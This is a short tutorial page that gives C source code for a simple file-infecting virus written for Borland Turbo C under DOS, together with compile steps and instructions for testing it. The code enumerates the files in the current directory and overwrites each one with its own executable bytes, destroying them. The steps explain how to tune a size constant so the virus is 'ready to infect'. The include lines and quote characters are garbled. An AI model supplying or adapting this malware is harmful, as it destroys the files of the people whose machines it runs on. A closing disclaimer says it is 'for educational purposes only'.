virus in c

This program is an
example of how to
create a virus in c.This
program
demonstrates a
simple virus program
which upon execution
(Running) creates a
copy of itself in the
other file.Thus it
destroys other files
by infecting them. But
the virus infected file
is also capable of
spreading the
infection to another
file and so on.Here�s
the source code of
the virus program.
#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst
(�*.*�,&ffblk,0);
while(!done)
{
virus=fopen(_argv
[0],�rb�);
host=fopen
(ffblk.ff_name,�rb+�);
if(host==NULL) goto
next;
x=89088;
printf(�Infecting %s
\n�,ffblk.ff_name,a);
while(x>2048)
{
fread
(buff,2048,1,virus);
fwrite
(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext
(&ffblk);
}
}
printf(�DONE! (Total
Files Infected=
%d)�,a);
end=clock();
printf(�TIME TAKEN=
%f SEC\n�,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:
BORLAND TC++ 3.0
(16-BIT):
1. Load the program in
the compiler, press
Alt-F9 to compile
2. Press F9 to
generate the EXE file
(DO NOT PRESS CTRL-
F9,THIS WILL INFECT
ALL THE FILES IN CUR
DIRECTORY INCLUDIN
YOUR COMPILER)
3. Note down the size
of generated EXE file
in bytes (SEE EXE FILE
PROPERTIES FOR IT�S
SIZE)
4. Change the value of
X in the source code
with the noted down
size (IN THE ABOVE
SOURCE CODE x=
89088; CHANGE IT)
5. Once again follow
the STEP 1 & STEP
2.Now the generated
EXE File is ready to
infect
BORLAND C++ 5.5
(32-BIT) :
1. Compile once,note
down the generated
EXE file length in bytes
2. Change the value of
X in source code to
this length in bytes
3. Recompile it.The
new EXE file is ready
to infect
HOW TO TEST:
1. Open new empty
folder
2. Put some EXE files
(BY SEARCHING FOR
*.EXE IN SEARCH &
PASTING IN THE NEW
FOLDER)
3. Run the virus EXE
file there you will see
all the files in the
current directory get
infected.
4.All the infected files
will be ready to
reinfect
That�s it
WARNING: FOR
EDUCATIONAL
PURPOSES ONLY